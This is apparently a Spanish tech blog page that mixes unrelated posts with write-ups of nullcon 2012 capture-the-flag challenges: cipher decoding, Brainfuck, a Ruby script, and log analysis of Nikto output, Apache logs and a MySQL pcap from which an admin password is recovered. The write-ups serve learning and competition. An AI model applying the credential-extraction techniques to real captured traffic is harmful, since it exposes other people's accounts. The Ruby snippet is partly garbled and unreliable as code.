06 15 21 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 05 09 07 08 20 00 05 09 07 20 05 05 14 00 06 09 22 05 00 06 09 22 05 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 05 09 07 08 20 00 20 23 05 14 20 25 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 20 23 05 14 20 25 00 05 09 07 08 20 00 05 09 07 20 05 05 14 00 06 09 22 05 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 06 20 05 05 14 00 26 05 18 15 00 14 09 14 05 20 05 05 14 00 14 09 14 05 00 20 23 05 14 20 25 06 15 21 18 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 05 09 07 08 20 00 05 09 07 20 05 05 14 00 06 09 22 05 00 06 09 22 05 00 26 05 18 15 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 05 09 07 08 20 00 20 23 05 14 20 25 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 14 09 14 05 20 05 05 14 00 14 09 14 05 00 20 23 05 14 20 25 06 15 21 18 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 06 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 06 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 05 09 07 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 14 09 14 05 20 05 05 14 00 14 09 14 05 00 20 23 05 14 20 25 06 15 21 18 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 20 23 05 12 22 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 05 09 07 20 05 05 14 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 05 09 07 08 20 00 14 09 14 05 00 05 09 07 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 05 09 07 08 20 00 20 23 05 14 20 25 00 26 05 18 15 00 20 23 05 14 20 25 00 05 09 07 08 20 00 14 09 14 05 00 05 09 07 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 05 09 07 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 05 09 07 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 14 09 14 05 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 00 19 05 22 05 14 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14

How we Obfuscated:

Plain Text = nullcon
After charset Substitution = 14 21 12 12 03 15 14
Literal Substitution = fouteen twentyone twelve twelve three fifteen fouteen
After charset Substitution = 06 15 21 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 20 23 05 12 22 05 00 20 23 05 12 22 05 00 20 08 18 05 05 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14

charset = 00 means " ",  01 = "a", 02="b".... 26="z", 30 = "0", 31="1" .... 39="9"

Reiterate till you find meaning text

Tenemos el texto a descifrar (primer bloque de datos), luego tenemos el método usado para cifrar dicho texto y por último tenemos la correspondencia de caractares. Y dice que iteremos hasta encontrar un texto con sentido.

Reaccionando contra ACTA

NOTA: este excelente artículo es obra de nuestro amigo Newlog , que como ya sabéis, forma parte de la comunidad OverFlowed Minds donde puedes encontrar todo tipo de material sobre seguridad informática.

Cuando me disponía a escribir esta entrada, pensaba dar una explicación clara y concisa de lo que es o puede llegar ser el pacto internacional llamado ACTA. Sin embargo, navegando por Internet me he topado con un vídeo muy representativo que en dos minutos describe exactamente lo que podría ser nuestro futuro... Un futuro mucho más próximo de lo que creemos.

CTF #nullcon 2012: Programación 3

En el tercer nivel nos encontramos con un trozo de código escrito en Brainfuck, un lenguaje un tanto peculiar y que claramente hace honor a su nombre. Algún le dedicaré una entrada en el blog.

El código con en el que tenemos que lidiar es este:

>+++++++[<+++++++>-]<---
.
.
>+++++[<+++++>-]<++
>++++++[<++++++>-]<+
>+++++++++[<--------->-]<+++
>++++++++[<++++++++>-]<++++++
>++[<-->-]<-
++
>++++[<++++>-]<+
>++++++++[<-------->-]<--------
>+++[<--->-]<---
>+++++++++[<+++++++++>-]<---
>+++[<--->-]<
>++++[<++++>-]<+
>++++[<---->-]<-
>++++[<++++>-]<---
>+++++++++[<--------->-]<-
>++++++++[<++++++++>-]<+++++
>++++[<++++>-]<+
>++++[<---->-]<-
>++++[<++++>-]<---
>+++++++++[<--------->-]<-
>+++++++++[<+++++++++>-]<++++
--
>++++[<---->-]<++
>++++++++[<-------->-]<-----
>++++++++[<++++++++>-]<+++++++
--
>++++[<++++>-]<-
-
>+++++++++[<--------->-]<++++++
+
>+++[<--->-]<
>+++++++++[<+++++++++>-]<--
+++
>+++++++++[<--------->-]<-
>+++++++++[<+++++++++>-]<++
---
++
>+++[<--->-]<
>++[<++>-]<+
>++[<++>-]<++
>++++[<---->-]<++
>++++++++[<-------->-]<++
+
+++
>+++[<--->-]<---
>+++++++++[<+++++++++>-]<-
>+++[<--->-]<--
>++++[<++++>-]<---
>+++[<--->-]<
>++[<++>-]<++
>+++[<--->-]<--
>+++++++[<------->-]<-----
>++++[<---->-]<++
>++++++[<++++++>-]<+++++
>+++++[<+++++>-]<++++
>++++++++[<-------->-]<------
>+++++++++[<+++++++++>-]<++++++++
>+++[<--->-]<-
>++[<++>-]<++
>+++++++++[<--------->-]<----
>++++++++[<++++++++>-]<++++
>+++[<+++>-]<++
>+++++++++[<--------->-]<++
>+++++++++[<+++++++++>-]<++++++
>++++[<---->-]<--
>++++++++[<-------->-]<-----
>+++++++++[<+++++++++>-]<++++++
>++++[<---->-]<++
+++
.
>+++++++++[<--------->-]<+++++
>+++++++++[<+++++++++>-]<++
>++++[<---->-]<++
>+++[<+++>-]<
>+++[<--->-]<-
>++++++++[<-------->-]<----
>++++++++[<++++++++>-]<+++++
>++++[<++++>-]<+
>++++[<---->-]<+++
+++
>+++++++++[<--------->-]<+++++
>++++++++[<++++++++>-]<++++
>++++[<++++>-]<+++
>+++++[<----->-]<+++
>++++[<++++>-]<+
>+++[<--->-]<---
>++++[<++++>-]<---
>+++++++++[<--------->-]<--
>++++++++[<++++++++>-]<+
>++[<++>-]<+
>++++[<++++>-]<--
>++++[<---->-]<+
>++++[<++++>-]<---
>+++++++++[<--------->-]<-
>+++++++++[<+++++++++>-]<++++++++
>+++[<--->-]<-
>++[<++>-]<++
>++++++++[<-------->-]<-------
.

Si buscas por Google hay muchos intérpretes y conversores para este lenguaje. Si ejecutamos dicho código tal y como está, esta es la salida: ..l.. Después de mirar un rato y depurar un poco el código, la solución a la que llegué fue poner un ‘.’ (punto) al final de cada línea que no tenía punto. El punto significa poner el byte actual en la salida. Así tras haber hecho eso y ejecutar de nuevo la salida que obtenemos es:

CTF #nullcon 2012: Programación 2

En el segundo nivel de está categoría se nos pedía la suma los términos medios de las primeras 1337 del triángulo de Pascal.

Pues nada vistazo a la wikipedia, problema conocido, seguro que alguien ha escrito el algoritmo en Ruby, lo bajo, lo modifico, quedándome de esta forma:

#!/usr/bin/env ruby

def pascal(n)
  p=[1]
  sum = 0
  while(p.length<n)
#    puts p.join(" ")
    p.join(" ")
    p=Array.new(p.length+1) {|i| 
      a=i0 ? p[i-1] : 0
      a+b
    }
    if p.length.odd?
      sum = sum + p[p.length()/2] 
    end 
  end
  return sum+1
end

puts "sum: " + pascal(1337).to_s

Y cuyo resultado al ejecutarlo y por lo tanto nuestro flag:

CTF #nullcon 2012: Programación 1

En la primera prueba de programación nos encontramos con este texto:

Mfp ey zwvo fvat rjx hwprdrr lb nawzh tnfpc: Anj icvlu, hjgy Kbffhg, zk hjp gm nso nntjj, phf sw vawwhnwer, pcum nu oeq ewllxqmqit

El cual es nuetro flag cifrado. Por lo que tenemos que averiguar como hacerlo.

Si miramos el código fuente de la página de este reto, nos dan un pista:

Rápidamente nos damos cuenta que es un cifrado basado en la rotación de caracteres dependiendo de la posición del mismo.

Tutorial: como programar un juego tipo "breakout" …

(haz click para jugar)

Completo tutorial en inglés donde te explica paso a paso como crear un juego tipo Breakout (ladrillos), aquí tienes el enlace del juego final para probarlo. Es bastante sencillo pero es interesante para estudiarlo y aprender un poco más sobre la creación de programas en HTML5.

Parte 1: Introducción a Canvas.

Parte 2: Animación y entrada del teclado.

Parte 3: Colisiones, puntuación y sonido.

Autor, Aditya Ravi Shankar.

Nace Wikirating: El azote de las agencias de …

Ante el descredito ganado a pulso tras la calificación con la máxima nota (AAA) de los productos financieros tóxicos  y el más que evidente indicio de manipulación, por parte de bancos, empresas, gobiernos y demás ralea, de las agencias de rating S&P, Fitch y Moody’s que controlan el 95% del mercado, surge Wikirating con la idea de evitar cualquier injerencia del mundo económico y político sobre las evaluaciones, porque cualquier persona podrán controlar su funcionamiento.

Domingo, por la mañana, hoy toca un clásico, …

No tengo nada más que decir, reverencia y a pasar este domingo.

Radiohead.

CTF #nullcon 2012: Análisis de logs 5

En el quinto y último nivel de esta categoría de análisis de logs, nos encontramos con un fichero (http://www.nullcon.net//challenge/data/dump.rar) PcapNg (una vez descomprimido). Uno de los problemas con los que me encontré era que el fichero es un poco grande y después de filtrar varias veces, Wireshark se comía la máquina y tenía que cerrar dicha aplicación y volverla a abrir ¿fuga de memoria en Wireshark? Supongo que la próxima vez debería de aprender a usar los filtros con tshark :)

CTF #nullcon 2012: Análisis de logs 4

En este cuarto nivel, el fichero que se nos da es de Burp y se nos pregunta por el CVE del exploit usado.

Esta vez y aprendiendo del nivel anterior me basé en buscar por las urls en vez de códigos de respuesta. Rápidamente me di cuenta que la mayoría de las peticiones se hacían una IP/página sin que, en principio, se nos diera alguna pista de la aplicación web a la que se accedía y viendo que nos preguntan por un CVE, empecé a descartar dichas urls.

CTF #nullcon 2012: Análisis de logs 3

Buena en esta tercera prueba de análisis de logs, nos proveen un fichero de logs ( http://www.nullcon.net//challenge/data/access.rar ) de acceso de apache. Lo primero que tenemos que saber interpretar es dicho fichero, para ello, podemos visitar esta página, dónde nos explican el significado de cada columna.

En este reto se nos pregunta por tres cosas para conseguir el flag: página vulnerable, puerto abierto e IP del atacante.

Open Security Training, material de clases sobre …

(Ruta a seguir en los tutoriales para clases sobre aprendizaje de "Exploits")

Todo el material en Open Security Training es licencia CreativeCommons y está orientado sobre todo a instructores en temas de seguridad informática. Pero claro, también te sirven para aprender tu mismo.

En el apartado “Training”, puedes encontrar este material:

Beginner Classes:

• Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration
• The Life of Binaries
• Introduction to Network Forensics
• CTF Forensics

Intermediate Classes:

• Intermediate Intel x86: Architecture, Assembly, Applications, & Alliteration
• Introduction to Software Exploits

Advanced Classes:

• Rootkits: What they are, and how to find them
• Introduction to Reverse Engineering Software

No dudes en ver cada uno de ellos porque la información que contiene es realmente espectacular. Te detalla incluso la duración de la clase y algunos comentarios recomendando la forma de dar la clase y los laboratorios. También puedes acceder a todos los videos y al material necesario para impartir la clase.

Echa un vistazo a este vídeo, es la primera clase sobre Arquitectura, Ensamblador, Aplicaciones, día 1, parte 1.

Tiene opción de subtítulos pero no he podido activarla, aún así puedes seguirlo a la vez que el contenido en papel para que te sirva de guía.

Ahora echa un vistazo los siguientes gráficos que muestran otras rutas a seguir en los materiales:

 

Genial iniciativa.

Cuando World of Warcraft va demasiado lejos ...

Increíble artículo visto en Todowow.com donde se habla de hasta que punto es capaz la gente de llegar con este juego. Todos sabemos que World of Warcraft  (WoW) es muy bueno, tan bueno que es realmente peligroso. Algunas personas acaban totalmente engullidas por este mundo virtual donde siempre tienes algo que hacer y conseguir, en un loop infinito.

No te pierdas el artículo porque habla de algo muy serio, incluso INTENTOS DE SUICIDIO EN UN SÓLO SERVIDOR, en concreto habla de tres casos.

CTF #nullcon 2012: Análisis de logs 2

En este caso lo que nos dan es un fichero pcap y nos preguntan por la contraseña del usuario suppadmin.

Pues nada, nos bajamos el fichero ( http://www.nullcon.net//challenge/data/log3.pcap ) en cuestión abrimos nuestro Wireshark y vemos que el tráfico corresponde a MySQL y al final del fichero vemos algo como:

....
..."......select * from tb1_admin.....6....def
myaccounts.tb1_admin.tb1_admin.id.id.?.......B...B....def
myaccounts.tb1_admin.tb1_admin.username.username...d.........>....def
myaccounts.tb1_admin.tb1_admin.passwd.passwd...d.........>....def
myaccounts.tb1_admin.tb1_admin.access.access...
[email protected]..............

Se lanza una consulta select que devuelve un registro con las columnas id, username, passwd y access. Y los valores correspondientes los vemos en la última línea… mmmm… probemos con Supp@, error. A ver [email protected], error también… después intentos fallidos y de recapacitar un poco, vemos que cada campo está separado por el signo de puntuación ‘.’, así probemos con [email protected], Bingo!

CTF #nullcon 2012: Análisis de logs 1

En esta primera prueba se nos da un fichero de logs (Nikto) no muy largo con lo cual muy rápido de analizar. Entre las líneas del mismo podemos ver esto:

...
+ OSVDB-3092: GET /test.txt : This might be interesting...
+ OSVDB-3092: GET /phpmyadmin/ : phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: GET /challenge/logically_insane/ : Directory indexing is enabled: /challenge/logically_insane/
+ OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons
+ OSVDB-3268: GET /images/ : Directory indexing is enabled: /images
...

/challenge/logically_insane/ me llamó la atención. Según el escáner ese directorio tiene habilitado la función de listar. Pues accedamos al mismo:

Er docu der finde: ¿Cuánta gente cabe en el …

MicroHistorias: la fiesta del desmadre en los …

Menudo título he buscado, pero cuando acabes de leer esta Microhistoria lo entenderás.

El 30 de Octubre de 1995, día de  Halloween, en las oficinas de Microsoft se estaba celebrando una fiesta que aparentemente, era normal. Cerveza, barbacoa y algunos efectos especiales como un volcán y una lona de circo eran el  escenario del maestro de ceremonias, nada más y nada menos que Jay Leno. Todo parecía normal, sin mucho jaleo se estaba presentando la nueva tecnología gráfica Directx y el nuevo Microsoft Windows 95. El mítico juego Doom serviría de ejemplo para mostrar las maravillas de este nuevo entorno gráfico.

Más ilustraciones espectaculares de Star Wars

Sólo puedo decir, Fuck Yeah!  (haz click en las ilustraciones para verlas a máxima resolución).

Echa un vistazo a la web de los autores, ImaginaryFriends, (no sólo hay de Star Wars, está lleno de ilustraciones SciFi espectaculares).

Free Music Archive, música libre y de calidad

Hemos leido en la web SawSquareNoise este genial artículo donde nos hablan de Free Music Archive, un portal web donde puedes encontrar todo tipo de contenido musical libre.

Su principal misión es proveer de contenido musical libre para cualquier uso (menos comercial), por ejemplo para podcast o cualquier otro contenido multimedia.

Pero mejor le echáis un vistazo al artículo original, está en castellano y obtendrás más información.

Pruebas de trivial del CTF de #nullcon 2012

La semana pasada Nullcon abrió un CTF para todos los públicos ;) Y como el lunes pasado fue fiesta para mi, pues me lie a jugar y todavía estoy enganchado por las noches ¿Qué estará pensando mi mujer esta vez? :D

Los retos están divididos en 7 categorías:

• Trivia
• Crypto
• Programming
• Web
• Reverse Engineering
• Log analysis
• Forensics

Cada categoría tiene 5 niveles y tienes que pasar cada nivel para acceder al siguiente.

Ya hay varios que han pasado todas las pruebas, pero la web todavía sigue abierta y se puede seguir jugando. Así que iré escribiendo la solución a las pruebas que voy pasando.

Voy a empezar por las más fáciles, de hecho pongo las 5 pruebas en una misma entrada porque hay poco que explicar. Todo lo que use fue Google y en los 2 ó 3 primeros resultados estaba el link a la información que buscaba.

Libro "Linux Device Drivers" 3a edición, …

En concreto bajo Creative Commons Attribution-ShareAlike 2.0 license. Genial libro sobre programación de drivers para dispositivos en Linux. Es la tercera edición y soporta hasta la versión 2.6.10 del Kernel (aunque realmente si estás desarrollando un driver, esta versión estable es más que suficiente).

Y más allá de programar controladores, este libro nos ofrece profundizar en las entrañas del Kernel de Linux y comprender mejor todo su funcionamiento.

Un nuevo accesorio para el iPad ... oh wait! …

Era cuestión de tiempo, y ya ha aparecido. Este nuevo "gadget" para el iPad ya te puedes imaginar para qué sirve.

Sólo tienes que agarrarlo y colocar ... WTF!!!.

A partir de ahora, ten cuidado con los iPad que te presten :)

Si nuestro querido Steve viera esto ... ;) , podríamos llamarlo sexo con el iPad, literalmente.

Visto en OhGizmo y más info aquí (sólo por si te interesa).

Científico ruso afirma haber encontrado evidencias …

Uf!, al menos eso dice que ha encontrado el astrónomo ruso Leonid Ksanfomaliti que trabaja en el Space Research Institute of the Russian Academy of Sciences. Exactamente comenta que ha encontrado evidencias de vida (y no precisamente extremófilos como veréis más adelante) en unas fotografías de hace 30 años que realizó la sonda rusa Venera 13 (recordar que esta sonda llegó a aterrizar en Venus). Duró 127 minutos antes de ser destruida por las extremas condiciones del planeta, en concreto temperaturas que oscilan desde -45 grados Centígrados hasta los 500 y una presión de 92 atmósferas.

Archetype, corto de Ciencia Ficción espectacular

Corto de 7 minutos de pura Ciencia Ficción con espectaculares efectos CGI.

RL7 es un robot de combate de 2,4 metros de altura que se da a la fuga después de un mal funcionamiento con recuerdos de su pasado humano. . .

Los creadores son Aaron Sims Company, aquí tienes una entrevista que habla de este trabajo y sus planes para convertirlo en película.

Visto en HTG.

Curso audiovisual basado en el libro Understanding …

En  http://wiki.crypto.rub.de  han tienen publicado una clase sobre criptografía usando como libro base Understanding Cryptography.

El curso está dividido en 13 apartados:

• 1 - Introduction to Cryptography
• 2 - Streamciphers
• 3 - DES and Alternatives
• 4 - AES
• 5 - More about Block Ciphers
• 6 - Intro to Public-Key Crypto
• 7 - RSA
• 8 - Discrete Logarithm Based Crypto
• 9 - Elliptic Curve Cryptos
• 10 - Digital Signatures
• 11 - Hash Functions
• 12 - Message Authentication Codes (MACs)
• 13 - Key Establishment

En cada apartado puedes ver el/los vídeos del mismo. Hay disponibles dos versiones: inglés y alemán. No español :(

Enlace original

Usando Wolfram Alpha como asistente personal

 

En concreto, usando Asterisk y combinándolo con esta API que usa Google Translator (incluye idioma español), puedes llamar por teléfono y preguntar lo que quieras y luego enviar los resultados o las órdenes, en formato texto a Internet o lo que quieras (incluso programar algún script para que haga algo). Para conseguir esto, necesitas una cuenta de Wolfram Alpha y un sistema de voz Asterisk implementado. Es un poco complejo pero poder llamar por teléfono, dar una orden y luego ver la salida para hacer cualquier tarea, merece la pena probarlo.

Para este domingo por la mañana, Calvin Harris …

Calvin Harris

Er docu der finde: Sin miedo a las matemáticas

Después de una semana perra de trabajo, ayer cuando me acosté es cuando me di cuenta que era viernes y que no había publicado Er docu der finde. Así que como dice el refrán más vale tarde que nunca, aquí lo tenéis. :)

Así vivían los fundadores de Megaupload y una …

Ricardo Galli, hace una estupenda reflexión, con la cual estoy totalmente de acuerdo, sobre los sentimientos encontrados en el cierre de Megaupload. Ahora que ya ha pasado un poco de tiempo y nos hemos informados más (por ejemplo leyendo el auto de acusación), una cosa es el negocio espectacular que tenían montado estos tipos a costa de los demás y otra cosa es todos los efectos dañinos provocados por el cierre de una empresa en la cual había información de personas de todos los países del mundo. Parece ser que no sólo ha sido un cierre por la violación de derechos de autor, hay bastante más detrás de esto.

Buscando a Wally usando Mathematica

En la fantástica web de CódigoGeek, hemos visto esta entrada donde hablan de cómo encontrar a Wally usando un programa realizado para el conocido Mathematica de Wolfram.

Todo empieza en StackOverflow, y luego en el blog matemáticos Gaussianos aparece el siguiente código como una posible solución (el lenguaje usado por Mathematica es propio, aquí tienes un manual pdf para aprender a programar en Mathematica):

 

waldo = Import["http://www.findwaldo.com/fankit/graphics/IntlManOfLiterature
/Scenes/DepartmentStore.jpg"];
red = Fold[ImageSubtract, #[[1]], Rest[#]] &@ColorSeparate[waldo];
corr = ImageCorrelate[red,Image@Join[ConstantArray[1, {2, 4}], ConstantArray[0, {2, 4}]],NormalizedSquaredEuclideanDistance];
pos = Dilation[ColorNegate[Binarize[corr, .12]], DiskMatrix[30]];
found = ImageMultiply[waldo, ImageAdd[ColorConvert[pos, “GrayLevel”], .5]]

The Bark Side: genial anuncio de Volskwagen

No tengo palabras ;)

Crea tus propios minis de Minecraft en papel

Si te gusta Minecraft, ya puedes poner en tu mesa algunos diseños de los personajes más populares de este genial juego.

Puedes descargar los patrones desde aquí en PDF.

Visto en HTG.

Juego creado íntegramente en CSS

Este sencillo juego que puedes ver aquí, está creado íntegramente en CSS (no hay javascript). Puedes echarle un vistazo al código (enlace al código con Chrome) y verás que es cierto. Podríamos catalogar este programa de programación CSS extrema, ya que el sistema de funcionamiento es bastante ingenioso. Por ejemplo, las imágenes utilizadas para los elementos gráficos, están incorporadas en formato png y codificados en base64.

Un código fuente muy interesante para echarle un vistazo y aprender un poco más sobre CSS.

Cómo elegir una buena clave (Infografía)

Fuente

Tres villanos del lado oscuro, por Alberto Chuqui

 Bobba Fett

Scout Trooper

 Piloto TIE Fighter

El de Bobba Fett (mi personaje favorito de Star Wars hasta que fue mancillado, ultrajado y humillado en aquellas tres infames películas de cuyo nombre no quiero acordarme) ya está de fondo de pantalla en mi ordenador.

